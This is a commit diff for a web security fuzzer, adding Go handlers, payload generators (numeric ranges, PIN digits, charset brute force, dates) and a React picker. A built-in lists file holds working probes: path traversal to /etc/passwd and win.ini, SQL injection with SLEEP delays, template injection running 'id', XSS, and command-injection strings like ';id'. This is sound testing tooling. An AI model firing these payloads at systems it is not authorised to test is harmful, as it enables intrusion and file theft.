Add built-in wordlists and payload generators to the fuzzer

This commit is contained in:
Tony West committed 2026-10-06 00:12:46 -04:00
1 parent 564f7027a7
commit aeb688148b
9 files changed
+1206 -166

No files matched your search

+109 -17
View File
@@ -22,6 +22,8 @@ type fuzzerStartRequest struct {
Host string `json:"host"`
Wordlist []string `json:"wordlist"` // Single-position wordlist
Wordlists map[string][]string `json:"wordlists,omitempty"` // Multi-position: position → wordlist
Source *fuzzer.PayloadSource `json:"source,omitempty"` // Single-position / spray: a built-in list or generator, resolved server-side
Sources map[string]fuzzer.PayloadSource `json:"sources,omitempty"` // Split/yolo: a source per position; absent ones fall back to Wordlists
AttackMode string `json:"attackMode,omitempty"` // spray, split, yolo
Threads int `json:"threads"`
RateLimit float64 `json:"rateLimit"`
@@ -93,12 +95,22 @@ func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
}
if len(positions) <= 1 {
// Single-position mode
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
// Single-position mode. A source (built-in list or generator) resolves
// server-side; otherwise the inline wordlist is used as-is.
if req.Source != nil {
wl, err := req.Source.Resolve(fuzzer.MaxGeneratedPayloads)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
cfg.Wordlist = wl
} else {
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
}
cfg.Wordlist = req.Wordlist
}
cfg.Wordlist = req.Wordlist
} else {
// Multi-position mode
mode := fuzzer.AttackMode(req.AttackMode)
@@ -109,30 +121,46 @@ func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
cfg.AttackMode = mode
if mode == fuzzer.AttackSpray {
// Spray: single wordlist used for all positions
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
// Spray: single wordlist (or source) used for all positions
var wl []string
if req.Source != nil {
resolved, err := req.Source.Resolve(fuzzer.MaxGeneratedPayloads)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
wl = resolved
} else {
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
}
wl = req.Wordlist
}
cfg.Wordlists = make(map[string][]string, len(positions))
for _, pos := range positions {
cfg.Wordlists[pos] = req.Wordlist
cfg.Wordlists[pos] = wl
}
} else {
// Split/Yolo: require a wordlist for each position
if len(req.Wordlists) == 0 {
writeError(w, http.StatusBadRequest, "wordlists map is required for split/yolo modes")
return
}
// Split/Yolo: each position takes a resolved source or an inline wordlist
cfg.Wordlists = make(map[string][]string, len(positions))
for _, pos := range positions {
if src, ok := req.Sources[pos]; ok {
resolved, err := src.Resolve(fuzzer.MaxGeneratedPayloads)
if err != nil {
writeError(w, http.StatusBadRequest, fmt.Sprintf("position %s: %v", pos, err))
return
}
cfg.Wordlists[pos] = resolved
continue
}
wl, ok := req.Wordlists[pos]
if !ok || len(wl) == 0 {
writeError(w, http.StatusBadRequest, fmt.Sprintf("missing or empty wordlist for position %s", pos))
return
}
_ = wl
cfg.Wordlists[pos] = wl
}
cfg.Wordlists = req.Wordlists
// Safety limit for yolo mode
if mode == fuzzer.AttackYolo {
@@ -335,3 +363,67 @@ func (s *APIServer) handleFuzzerUploadWordlist(w http.ResponseWriter, r *http.Re
"count": len(lines),
})
}
// handleFuzzerListWordlists returns the catalog of built-in lists and generators.
// Built-in list contents are never sent — only a count — so the picker shows size
// without shipping the payloads twice.
func (s *APIServer) handleFuzzerListWordlists(w http.ResponseWriter, r *http.Request) {
type builtinDTO struct {
ID string `json:"id"`
Label string `json:"label"`
Description string `json:"description"`
Category string `json:"category"`
Count int `json:"count"`
}
lists := fuzzer.BuiltinLists()
builtins := make([]builtinDTO, 0, len(lists))
for _, l := range lists {
builtins = append(builtins, builtinDTO{
ID: l.ID, Label: l.Label, Description: l.Description,
Category: l.Category, Count: len(l.Values),
})
}
writeJSON(w, http.StatusOK, map[string]any{
"builtins": builtins,
"generators": fuzzer.Generators(),
})
}
// handleFuzzerPreviewSource resolves a payload source and returns its size plus a
// small sample, so the editor can show "~N payloads — a, b, c, ..." live. It
// reuses the same resolver and cap as a real campaign start.
func (s *APIServer) handleFuzzerPreviewSource(w http.ResponseWriter, r *http.Request) {
if !requireLocalOrigin(w, r) {
return
}
var src fuzzer.PayloadSource
if err := decodeJSON(r, &src); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
count, err := src.Count()
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
resp := map[string]any{
"count": count,
"sample": []string{},
"exceedsLimit": count > fuzzer.MaxGeneratedPayloads, // cannot be run
}
// Only materialize for the sample when the list is small enough that doing so
// on a debounced keystroke is cheap; the count alone covers the rest.
const previewSampleCap = 100_000
if count > 0 && count <= previewSampleCap {
full, err := src.Resolve(previewSampleCap)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if len(full) > 20 {
full = full[:20]
}
resp["sample"] = full
}
writeJSON(w, http.StatusOK, resp)
}
+2
View File
@@ -112,6 +112,8 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/fuzzer/campaigns/{id}/results/{index}", s.handleFuzzerGetResult)
mux.HandleFunc("DELETE /api/v1/fuzzer/campaigns/{id}", s.handleFuzzerDeleteCampaign)
mux.HandleFunc("POST /api/v1/fuzzer/wordlist", s.handleFuzzerUploadWordlist)
mux.HandleFunc("GET /api/v1/fuzzer/wordlists", s.handleFuzzerListWordlists)
mux.HandleFunc("POST /api/v1/fuzzer/wordlist/preview", s.handleFuzzerPreviewSource)
// API description documents (the SJ tab). Loads a Swagger/OpenAPI document,
// renders each operation to raw bytes, and drives scans, auth-profile
+354
View File
@@ -0,0 +1,354 @@
package fuzzer
import (
"fmt"
"strconv"
"strings"
"time"
)
// A PayloadSource is a compact, server-resolved description of a payload list:
// a named built-in list or a parametric generator. It exists so the UI can send
// a tiny spec (a numeric range, a list id) instead of materializing and shipping
// millions of lines inline. Manual paste and file uploads never become a source —
// they stay inline []string on Config.Wordlist/Wordlists.
//
// It is one flat struct with a Kind discriminator, like Matcher/Filter; only the
// fields a kind names are read. Count reports the resolved length without
// allocating, so a caller can reject an oversized spec before Resolve builds it.
type PayloadSource struct {
Kind SourceKind `json:"kind"`
// builtin
List string `json:"list,omitempty"`
// numbers
NumberMode string `json:"numberMode,omitempty"` // "range" (default) | "digits"
Min int64 `json:"min,omitempty"`
Max int64 `json:"max,omitempty"`
Step int64 `json:"step,omitempty"`
MinDigits int `json:"minDigits,omitempty"`
MaxDigits int `json:"maxDigits,omitempty"`
Pad int `json:"pad,omitempty"`
Hex bool `json:"hex,omitempty"`
Upper bool `json:"upper,omitempty"`
Prefix string `json:"prefix,omitempty"`
Suffix string `json:"suffix,omitempty"`
// chars (charset x length) and lengths (repeated-char ramp, reuses MinLen/MaxLen/Step)
Charset string `json:"charset,omitempty"`
MinLen int `json:"minLen,omitempty"`
MaxLen int `json:"maxLen,omitempty"`
Char string `json:"char,omitempty"` // lengths: the repeated unit, default "A"
// dates
DateStart string `json:"dateStart,omitempty"` // YYYY-MM-DD
DateEnd string `json:"dateEnd,omitempty"`
DateFmt string `json:"dateFmt,omitempty"` // Go reference layout, default "2006-01-02"
DateStep int `json:"dateStep,omitempty"` // days, default 1
}
// SourceKind names the shape of a PayloadSource.
type SourceKind string
const (
SourceBuiltin SourceKind = "builtin"
SourceNumbers SourceKind = "numbers"
SourceChars SourceKind = "chars"
SourceLengths SourceKind = "lengths"
SourceDates SourceKind = "dates"
)
// MaxGeneratedPayloads caps the length of a single resolved source. It matches
// the yolo product ceiling in handleFuzzerStart, so a generated position and a
// cartesian run answer to the same order of magnitude.
const MaxGeneratedPayloads = 10_000_000
const defaultDateLayout = "2006-01-02"
// Count returns how many payloads the source resolves to, without allocating
// them, and validates the spec. A caller rejects the source when this exceeds
// its budget rather than letting Resolve allocate it.
func (s PayloadSource) Count() (int, error) {
switch s.Kind {
case SourceBuiltin:
vals, ok := LookupBuiltin(s.List)
if !ok {
return 0, fmt.Errorf("unknown built-in list %q", s.List)
}
return len(vals), nil
case SourceNumbers:
return s.numberCount()
case SourceChars:
return s.charsCount()
case SourceLengths:
n, _, err := s.lengthsBounds()
return n, err
case SourceDates:
n, _, _, err := s.datesBounds()
return n, err
default:
return 0, fmt.Errorf("unknown source kind %q", s.Kind)
}
}
// Resolve materializes the source into a payload list, refusing a spec whose
// Count exceeds limit.
func (s PayloadSource) Resolve(limit int) ([]string, error) {
n, err := s.Count()
if err != nil {
return nil, err
}
if n == 0 {
return nil, fmt.Errorf("source produces no payloads")
}
if n > limit {
return nil, fmt.Errorf("source would generate %d payloads (max %d)", n, limit)
}
switch s.Kind {
case SourceBuiltin:
vals, _ := LookupBuiltin(s.List)
out := make([]string, len(vals))
copy(out, vals)
return out, nil
case SourceNumbers:
return s.resolveNumbers(n)
case SourceChars:
return s.resolveChars(n)
case SourceLengths:
return s.resolveLengths()
case SourceDates:
return s.resolveDates()
default:
return nil, fmt.Errorf("unknown source kind %q", s.Kind)
}
}
// --- numbers ---
func (s PayloadSource) numberCount() (int, error) {
if s.NumberMode == "digits" {
return s.digitsCount()
}
step := s.Step
if step == 0 {
step = 1
}
if step < 0 {
return 0, fmt.Errorf("numbers: step must be positive")
}
if s.Max < s.Min {
return 0, fmt.Errorf("numbers: max must be >= min")
}
return int((s.Max-s.Min)/step) + 1, nil
}
func (s PayloadSource) resolveNumbers(n int) ([]string, error) {
if s.NumberMode == "digits" {
return s.resolveDigits()
}
step := s.Step
if step == 0 {
step = 1
}
out := make([]string, 0, n)
for v := s.Min; v <= s.Max; v += step {
out = append(out, s.formatNumber(v))
}
return out, nil
}
func (s PayloadSource) formatNumber(v int64) string {
var body string
if s.Hex {
body = strconv.FormatInt(v, 16)
if s.Upper {
body = strings.ToUpper(body)
}
} else {
body = strconv.FormatInt(v, 10)
}
if s.Pad > len(body) {
body = strings.Repeat("0", s.Pad-len(body)) + body
}
return s.Prefix + body + s.Suffix
}
// digits mode enumerates every number of each width w in [MinDigits, MaxDigits]
// as a zero-padded run 0..10^w-1 — so "4 digits" is 0000..9999, the PIN/ID brute
// pattern. Each width is fully enumerated with its own padding.
func (s PayloadSource) digitsCount() (int, error) {
if s.MinDigits < 1 || s.MaxDigits < s.MinDigits {
return 0, fmt.Errorf("numbers: require 1 <= minDigits <= maxDigits")
}
if s.MaxDigits > 18 {
return 0, fmt.Errorf("numbers: maxDigits too large")
}
total := 0
for w := s.MinDigits; w <= s.MaxDigits; w++ {
pow := 1
for i := 0; i < w; i++ {
pow *= 10
if pow > MaxGeneratedPayloads {
return pow, nil // caller rejects on the cap; stop before overflow
}
}
total += pow
if total > MaxGeneratedPayloads {
return total, nil
}
}
return total, nil
}
func (s PayloadSource) resolveDigits() ([]string, error) {
n, err := s.digitsCount()
if err != nil {
return nil, err
}
out := make([]string, 0, n)
for w := s.MinDigits; w <= s.MaxDigits; w++ {
hi := int64(1)
for i := 0; i < w; i++ {
hi *= 10
}
for v := int64(0); v < hi; v++ {
body := strconv.FormatInt(v, 10)
if w > len(body) {
body = strings.Repeat("0", w-len(body)) + body
}
out = append(out, s.Prefix+body+s.Suffix)
}
}
return out, nil
}
// --- chars (charset x length) ---
func (s PayloadSource) charsCount() (int, error) {
runes := []rune(s.Charset)
if len(runes) == 0 {
return 0, fmt.Errorf("chars: charset is empty")
}
if s.MinLen < 1 || s.MaxLen < s.MinLen {
return 0, fmt.Errorf("chars: require 1 <= minLen <= maxLen")
}
total := 0
for l := s.MinLen; l <= s.MaxLen; l++ {
combos := 1
for i := 0; i < l; i++ {
combos *= len(runes)
if combos > MaxGeneratedPayloads {
return combos, nil
}
}
total += combos
if total > MaxGeneratedPayloads {
return total, nil
}
}
return total, nil
}
func (s PayloadSource) resolveChars(n int) ([]string, error) {
runes := []rune(s.Charset)
out := make([]string, 0, n)
for l := s.MinLen; l <= s.MaxLen; l++ {
idx := make([]int, l) // odometer over charset, position 0 is least significant
for {
var b strings.Builder
for i := l - 1; i >= 0; i-- {
b.WriteRune(runes[idx[i]])
}
out = append(out, b.String())
// increment the odometer
pos := 0
for pos < l {
idx[pos]++
if idx[pos] < len(runes) {
break
}
idx[pos] = 0
pos++
}
if pos == l {
break
}
}
}
return out, nil
}
// --- lengths (repeated-char ramp) ---
func (s PayloadSource) lengthsBounds() (count, step int, err error) {
step = int(s.Step)
if step == 0 {
step = 1
}
if step < 0 {
return 0, 0, fmt.Errorf("lengths: step must be positive")
}
if s.MinLen < 1 || s.MaxLen < s.MinLen {
return 0, 0, fmt.Errorf("lengths: require 1 <= minLen <= maxLen")
}
return (s.MaxLen-s.MinLen)/step + 1, step, nil
}
func (s PayloadSource) resolveLengths() ([]string, error) {
n, step, err := s.lengthsBounds()
if err != nil {
return nil, err
}
unit := s.Char
if unit == "" {
unit = "A"
}
out := make([]string, 0, n)
for l := s.MinLen; l <= s.MaxLen; l += step {
out = append(out, strings.Repeat(unit, l))
}
return out, nil
}
// --- dates ---
func (s PayloadSource) datesBounds() (count int, start time.Time, step int, err error) {
start, err = time.Parse(defaultDateLayout, s.DateStart)
if err != nil {
return 0, time.Time{}, 0, fmt.Errorf("dates: invalid dateStart (want YYYY-MM-DD)")
}
end, err := time.Parse(defaultDateLayout, s.DateEnd)
if err != nil {
return 0, time.Time{}, 0, fmt.Errorf("dates: invalid dateEnd (want YYYY-MM-DD)")
}
if end.Before(start) {
return 0, time.Time{}, 0, fmt.Errorf("dates: dateEnd must be >= dateStart")
}
step = s.DateStep
if step == 0 {
step = 1
}
if step < 0 {
return 0, time.Time{}, 0, fmt.Errorf("dates: step must be positive")
}
days := int(end.Sub(start).Hours()/24) + 1
return (days-1)/step + 1, start, step, nil
}
func (s PayloadSource) resolveDates() ([]string, error) {
n, start, step, err := s.datesBounds()
if err != nil {
return nil, err
}
layout := s.DateFmt
if layout == "" {
layout = defaultDateLayout
}
end, _ := time.Parse(defaultDateLayout, s.DateEnd)
out := make([]string, 0, n)
for d := start; !d.After(end); d = d.AddDate(0, 0, step) {
out = append(out, d.Format(layout))
}
return out, nil
}
+158
View File
@@ -0,0 +1,158 @@
package fuzzer
// Built-in fuzzer wordlists. Go slice literals rather than embedded files,
// following the repo's split: go:embed carries third-party or built artifacts,
// while our own data is a slice literal (as internal/shell's dictionary and
// internal/apispec's discovery lists are). These stay curated and compact —
// large dictionaries (directory busting, credential lists) belong in an upload,
// not baked into the binary.
// BuiltinList is a named, categorized payload list. Values is omitted from the
// catalog wire shape; the catalog carries a count instead.
type BuiltinList struct {
ID string `json:"id"`
Label string `json:"label"`
Description string `json:"description"`
Category string `json:"category"`
Values []string `json:"-"`
}
// BuiltinLists returns the registry of built-in payload lists.
func BuiltinLists() []BuiltinList {
return []BuiltinList{
{ID: "lfi", Label: "LFI / Path Traversal", Category: "injection",
Description: "Local file inclusion and directory traversal probes", Values: lfiProbes},
{ID: "sqli", Label: "SQL Injection", Category: "injection",
Description: "Common SQL injection probe strings", Values: sqliProbes},
{ID: "ssti", Label: "Template Injection", Category: "injection",
Description: "Server-side template injection probes (expect 49 on reflection)", Values: sstiProbes},
{ID: "xss", Label: "XSS Reflection", Category: "injection",
Description: "Cross-site scripting reflection probes", Values: xssProbes},
{ID: "metachars", Label: "Special Characters", Category: "fuzzing",
Description: "Metacharacters that elicit errors or parsing differences", Values: metacharProbes},
}
}
// LookupBuiltin returns a built-in list's values by id.
func LookupBuiltin(id string) ([]string, bool) {
for _, l := range BuiltinLists() {
if l.ID == id {
return l.Values, true
}
}
return nil, false
}
// GeneratorInfo describes a generator for the catalog. Its parameter forms are
// bespoke UI, so only identity and help text travel.
type GeneratorInfo struct {
ID string `json:"id"`
Label string `json:"label"`
Description string `json:"description"`
}
// Generators returns the catalog of parametric generators.
func Generators() []GeneratorInfo {
return []GeneratorInfo{
{ID: string(SourceNumbers), Label: "Numbers", Description: "Numeric range (min/max/step) or every value of a digit width (e.g. 4-digit PINs)"},
{ID: string(SourceChars), Label: "Characters", Description: "Every combination of a charset over a length range (brute force)"},
{ID: string(SourceLengths), Label: "Length ramp", Description: "A character repeated at increasing lengths (buffer/boundary tests)"},
{ID: string(SourceDates), Label: "Dates", Description: "A date range with a configurable format and step"},
}
}
var lfiProbes = []string{
"../etc/passwd",
"../../etc/passwd",
"../../../etc/passwd",
"../../../../etc/passwd",
"../../../../../etc/passwd",
"../../../../../../etc/passwd",
"../../../../../../../../etc/passwd",
"/etc/passwd",
"....//....//....//etc/passwd",
"..%2f..%2f..%2fetc%2fpasswd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"..%252f..%252f..%252fetc%252fpasswd",
"../../../etc/passwd%00",
"/proc/self/environ",
"/proc/self/cmdline",
"php://filter/convert.base64-encode/resource=index.php",
"file:///etc/passwd",
"..\\..\\..\\windows\\win.ini",
"..\\..\\..\\..\\windows\\win.ini",
"C:\\windows\\win.ini",
"..%5c..%5c..%5cwindows%5cwin.ini",
"....\\\\....\\\\....\\\\windows\\win.ini",
}
var sqliProbes = []string{
"'",
"\"",
"`",
"')",
"\")",
"';",
"' OR '1'='1",
"' OR '1'='1' -- ",
"' OR '1'='1' #",
"\" OR \"\"=\"",
"' OR 1=1-- ",
"') OR ('1'='1",
"admin' -- ",
"admin' #",
"' UNION SELECT NULL-- ",
"' UNION SELECT NULL,NULL-- ",
"1' AND SLEEP(5)-- ",
"' OR SLEEP(5)-- ",
"1 AND 1=1",
"1 AND 1=2",
"1; WAITFOR DELAY '0:0:5'-- ",
"') OR SLEEP(5)-- ",
"1'||'1",
"' AND extractvalue(1,concat(0x7e,version()))-- ",
}
var sstiProbes = []string{
"{{7*7}}",
"${7*7}",
"#{7*7}",
"<%= 7*7 %>",
"${{7*7}}",
"#{ 7*7 }",
"{{7*'7'}}",
"{{ '7'*7 }}",
"*{7*7}",
"@(7*7)",
"{7*7}",
"${{<%[%'\"}}%\\.",
"{{config}}",
"{{self}}",
"<%= system('id') %>",
}
var xssProbes = []string{
"<script>alert(1)</script>",
"\"><script>alert(1)</script>",
"'><script>alert(1)</script>",
"\"><svg onload=alert(1)>",
"'><svg onload=alert(1)>",
"<svg/onload=alert(1)>",
"<img src=x onerror=alert(1)>",
"\"><img src=x onerror=alert(1)>",
"javascript:alert(1)",
"\" onmouseover=alert(1) x=\"",
"' onmouseover='alert(1)",
"<body onload=alert(1)>",
"<iframe src=javascript:alert(1)>",
"</script><script>alert(1)</script>",
"<details open ontoggle=alert(1)>",
}
var metacharProbes = []string{
"'", "\"", "`", "\\", "<", ">", ";", "|", "&", "$", "%", "#", "@",
"(", ")", "[", "]", "{", "}", "*", "?", "~", "!", "^", "+", "=",
"$()", "${}", "`id`", "$(id)", "|id", ";id", "&&id", "||id",
"%00", "%0a", "%0d", "%0d%0a", "{{", "}}", "\\n", "\\r\\n", "\x00",
"../", "..\\", "' OR '1'='1", "<script>",
}
@@ -0,0 +1,346 @@
import { useEffect, useRef, useState } from 'react'
import { X } from 'lucide-react'
import { api } from '../../lib/api'
import { Tooltip } from '../Tooltip'
import {
type PayloadSource,
type SourceKind,
type SourceMode,
type WordlistCatalog,
defaultSource,
sourceCount,
} from '../../lib/fuzzSources'
interface Props {
label: string
placeholder: string
wordlist: string
wordlistFileName: string
source: PayloadSource | undefined
catalog: WordlistCatalog | null
disabled: boolean
onWordlistChange: (v: string, fileName?: string) => void
onSourceChange: (source: PayloadSource | undefined) => void
}
function modeOf(source: PayloadSource | undefined): SourceMode {
if (!source) return 'manual'
return source.kind === 'builtin' ? 'builtin' : 'generator'
}
const GENERATOR_KINDS: SourceKind[] = ['numbers', 'chars', 'lengths', 'dates']
export default function PayloadSourcePanel(props: Props) {
const { label, placeholder, wordlist, wordlistFileName, source, catalog, disabled } = props
const fileRef = useRef<HTMLInputElement>(null)
const mode = modeOf(source)
const manualLines = wordlist.split('\n').filter((l) => l.trim() !== '').length
const genCount = mode === 'manual' ? manualLines : sourceCount(source, catalog)
function setMode(next: SourceMode) {
if (next === 'manual') props.onSourceChange(undefined)
else if (next === 'builtin') props.onSourceChange({ kind: 'builtin', list: catalog?.builtins[0]?.id ?? '' })
else props.onSourceChange(defaultSource('numbers'))
}
function patch(p: Partial<PayloadSource>) {
if (!source) return
props.onSourceChange({ ...source, ...p })
}
function handleFile(e: React.ChangeEvent<HTMLInputElement>) {
const file = e.target.files?.[0]
if (!file) return
const reader = new FileReader()
reader.onload = () => props.onWordlistChange(String(reader.result ?? ''), file.name)
reader.readAsText(file)
e.target.value = ''
}
return (
<div className="flex flex-col overflow-hidden min-h-0 flex-1">
{/* Header: label + count + mode selector */}
<div className="flex items-center gap-2 px-2 py-1 bg-surface-card border-b border-border shrink-0">
<span className="text-xs text-content-muted">
{label} ({genCount < 0 ? '—' : genCount.toLocaleString()} payloads)
</span>
{mode === 'manual' && wordlistFileName && (
<span className="text-xs text-content-secondary truncate max-w-32">{wordlistFileName}</span>
)}
<div className="flex items-center gap-0.5 ml-auto bg-surface-input rounded-sm p-0.5">
{(['manual', 'builtin', 'generator'] as SourceMode[]).map((m) => (
<button
key={m}
onClick={() => setMode(m)}
disabled={disabled}
className={`text-xs px-2 py-0.5 rounded-sm capitalize ${
mode === m ? 'bg-accent text-black' : 'text-content-secondary hover:text-content-primary'
}`}
>
{m === 'builtin' ? 'Built-in' : m}
</button>
))}
</div>
</div>
{mode === 'manual' && (
<>
<div className="flex items-center gap-1 px-2 py-1 bg-surface-card border-b border-border shrink-0">
<label className="text-xs px-2 py-0.5 rounded-sm bg-surface-input hover:bg-surface-hover text-content-secondary cursor-pointer">
Upload
<input
ref={fileRef}
type="file"
accept=".txt,.lst,.list,.wordlist,text/*"
onChange={handleFile}
className="hidden"
disabled={disabled}
/>
</label>
{wordlist && (
<Tooltip content="Clear wordlist">
<button
onClick={() => props.onWordlistChange('')}
className="text-xs text-content-muted hover:text-semantic-error px-1 inline-flex items-center"
disabled={disabled}
>
<X size={12} />
</button>
</Tooltip>
)}
</div>
<textarea
value={wordlist}
onChange={(e) => props.onWordlistChange(e.target.value)}
className="flex-1 bg-surface-input text-xs font-mono px-2 py-1 resize-none outline-none text-content-primary"
placeholder={placeholder}
readOnly={disabled}
spellCheck={false}
/>
</>
)}
{mode === 'builtin' && (
<div className="flex-1 overflow-y-auto bg-surface-input p-3 flex flex-col gap-3">
<BuiltinPicker catalog={catalog} source={source!} disabled={disabled} onPatch={patch} />
<SourcePreview source={source} />
</div>
)}
{mode === 'generator' && source && (
<div className="flex-1 overflow-y-auto bg-surface-input p-3 flex flex-col gap-3">
<div className="flex items-center gap-2">
<span className="text-xs text-content-muted w-20">Generator</span>
<select
value={source.kind}
onChange={(e) => props.onSourceChange(defaultSource(e.target.value as SourceKind))}
disabled={disabled}
className="flex-1 bg-surface-card text-xs px-2 py-1 rounded-sm text-content-primary border border-border"
>
{GENERATOR_KINDS.map((k) => {
const info = catalog?.generators.find((g) => g.id === k)
return <option key={k} value={k}>{info?.label ?? k}</option>
})}
</select>
</div>
<GeneratorFields source={source} disabled={disabled} onPatch={patch} />
<SourcePreview source={source} />
</div>
)}
</div>
)
}
function BuiltinPicker({ catalog, source, disabled, onPatch }: {
catalog: WordlistCatalog | null
source: PayloadSource
disabled: boolean
onPatch: (p: Partial<PayloadSource>) => void
}) {
const categories = Array.from(new Set((catalog?.builtins ?? []).map((b) => b.category)))
const selected = catalog?.builtins.find((b) => b.id === source.list)
return (
<div className="flex flex-col gap-2">
<div className="flex items-center gap-2">
<span className="text-xs text-content-muted w-20">List</span>
<select
value={source.list ?? ''}
onChange={(e) => onPatch({ list: e.target.value })}
disabled={disabled}
className="flex-1 bg-surface-card text-xs px-2 py-1 rounded-sm text-content-primary border border-border"
>
<option value="">Select a list…</option>
{categories.map((cat) => (
<optgroup key={cat} label={cat}>
{(catalog?.builtins ?? [])
.filter((b) => b.category === cat)
.map((b) => (
<option key={b.id} value={b.id}>{b.label} ({b.count})</option>
))}
</optgroup>
))}
</select>
</div>
{selected && <p className="text-xs text-content-muted pl-20">{selected.description}</p>}
</div>
)
}
function GeneratorFields({ source, disabled, onPatch }: {
source: PayloadSource
disabled: boolean
onPatch: (p: Partial<PayloadSource>) => void
}) {
if (source.kind === 'numbers') {
const digits = source.numberMode === 'digits'
return (
<div className="flex flex-col gap-2">
<div className="flex items-center gap-2">
<span className="text-xs text-content-muted w-20">Mode</span>
<div className="flex items-center gap-0.5 bg-surface-card rounded-sm p-0.5">
{(['range', 'digits'] as const).map((m) => (
<button
key={m}
onClick={() => onPatch({ numberMode: m })}
disabled={disabled}
className={`text-xs px-2 py-0.5 rounded-sm capitalize ${
(source.numberMode ?? 'range') === m ? 'bg-accent text-black' : 'text-content-secondary hover:text-content-primary'
}`}
>
{m}
</button>
))}
</div>
</div>
{digits ? (
<>
<NumField label="Min digits" value={source.minDigits} disabled={disabled} onChange={(v) => onPatch({ minDigits: v })} />
<NumField label="Max digits" value={source.maxDigits} disabled={disabled} onChange={(v) => onPatch({ maxDigits: v })} />
</>
) : (
<>
<NumField label="Min" value={source.min} disabled={disabled} onChange={(v) => onPatch({ min: v })} />
<NumField label="Max" value={source.max} disabled={disabled} onChange={(v) => onPatch({ max: v })} />
<NumField label="Step" value={source.step} disabled={disabled} onChange={(v) => onPatch({ step: v })} />
<NumField label="Pad width" value={source.pad} disabled={disabled} onChange={(v) => onPatch({ pad: v })} />
<div className="flex items-center gap-2">
<span className="text-xs text-content-muted w-20">Base</span>
<label className="text-xs text-content-secondary flex items-center gap-1">
<input type="checkbox" checked={!!source.hex} disabled={disabled} onChange={(e) => onPatch({ hex: e.target.checked })} />
Hexadecimal
</label>
{source.hex && (
<label className="text-xs text-content-secondary flex items-center gap-1">
<input type="checkbox" checked={!!source.upper} disabled={disabled} onChange={(e) => onPatch({ upper: e.target.checked })} />
Uppercase
</label>
)}
</div>
</>
)}
<TextField label="Prefix" value={source.prefix} disabled={disabled} onChange={(v) => onPatch({ prefix: v })} />
<TextField label="Suffix" value={source.suffix} disabled={disabled} onChange={(v) => onPatch({ suffix: v })} />
</div>
)
}
if (source.kind === 'chars') {
return (
<div className="flex flex-col gap-2">
<TextField label="Charset" value={source.charset} disabled={disabled} onChange={(v) => onPatch({ charset: v })} mono />
<NumField label="Min length" value={source.minLen} disabled={disabled} onChange={(v) => onPatch({ minLen: v })} />
<NumField label="Max length" value={source.maxLen} disabled={disabled} onChange={(v) => onPatch({ maxLen: v })} />
</div>
)
}
if (source.kind === 'lengths') {
return (
<div className="flex flex-col gap-2">
<TextField label="Character" value={source.char} disabled={disabled} onChange={(v) => onPatch({ char: v })} mono />
<NumField label="Min length" value={source.minLen} disabled={disabled} onChange={(v) => onPatch({ minLen: v })} />
<NumField label="Max length" value={source.maxLen} disabled={disabled} onChange={(v) => onPatch({ maxLen: v })} />
<NumField label="Step" value={source.step} disabled={disabled} onChange={(v) => onPatch({ step: v })} />
</div>
)
}
// dates
return (
<div className="flex flex-col gap-2">
<TextField label="Start (Y-M-D)" value={source.dateStart} disabled={disabled} onChange={(v) => onPatch({ dateStart: v })} mono />
<TextField label="End (Y-M-D)" value={source.dateEnd} disabled={disabled} onChange={(v) => onPatch({ dateEnd: v })} mono />
<NumField label="Step (days)" value={source.dateStep} disabled={disabled} onChange={(v) => onPatch({ dateStep: v })} />
<TextField label="Format" value={source.dateFmt} disabled={disabled} onChange={(v) => onPatch({ dateFmt: v })} mono placeholder="2006-01-02" />
</div>
)
}
function NumField({ label, value, disabled, onChange }: {
label: string; value: number | undefined; disabled: boolean; onChange: (v: number) => void
}) {
return (
<div className="flex items-center gap-2">
<span className="text-xs text-content-muted w-20">{label}</span>
<input
type="number"
value={value ?? ''}
onChange={(e) => onChange(e.target.value === '' ? 0 : Number(e.target.value))}
disabled={disabled}
className="w-28 bg-surface-card text-xs px-2 py-1 rounded-sm text-content-primary border border-border outline-none"
/>
</div>
)
}
function TextField({ label, value, disabled, onChange, mono, placeholder }: {
label: string; value: string | undefined; disabled: boolean; onChange: (v: string) => void; mono?: boolean; placeholder?: string
}) {
return (
<div className="flex items-center gap-2">
<span className="text-xs text-content-muted w-20">{label}</span>
<input
type="text"
value={value ?? ''}
onChange={(e) => onChange(e.target.value)}
disabled={disabled}
placeholder={placeholder}
spellCheck={false}
className={`flex-1 bg-surface-card text-xs px-2 py-1 rounded-sm text-content-primary border border-border outline-none ${mono ? 'font-mono' : ''}`}
/>
</div>
)
}
// SourcePreview debounces a call to the resolver so the operator sees the real
// count and the first generated values, straight from the server that will run them.
function SourcePreview({ source }: { source: PayloadSource | undefined }) {
const [state, setState] = useState<{ count: number; sample: string[]; exceedsLimit: boolean } | null>(null)
const [error, setError] = useState<string | null>(null)
useEffect(() => {
if (!source) { setState(null); setError(null); return }
let cancelled = false
const t = setTimeout(() => {
api.fuzzPreviewSource(source)
.then((res) => { if (!cancelled) { setState(res); setError(null) } })
.catch((e) => { if (!cancelled) { setState(null); setError(e?.message || 'invalid source') } })
}, 300)
return () => { cancelled = true; clearTimeout(t) }
}, [source])
if (error) return <p className="text-xs text-semantic-error">{error}</p>
if (!state) return <p className="text-xs text-content-muted">Preview…</p>
return (
<div className="text-xs text-content-muted border-t border-border-subtle pt-2">
<span className={state.exceedsLimit ? 'text-semantic-error' : 'text-content-secondary'}>
≈ {state.count.toLocaleString()} payloads
{state.exceedsLimit && ' (exceeds the 10,000,000 limit)'}
</span>
{state.sample.length > 0 && (
<span className="font-mono"> — {state.sample.slice(0, 8).map((s) => s || '∅').join(', ')}…</span>
)}
</div>
)
}
+6
View File
@@ -9,6 +9,7 @@ import type {
EchoState,
} from './echoTypes'
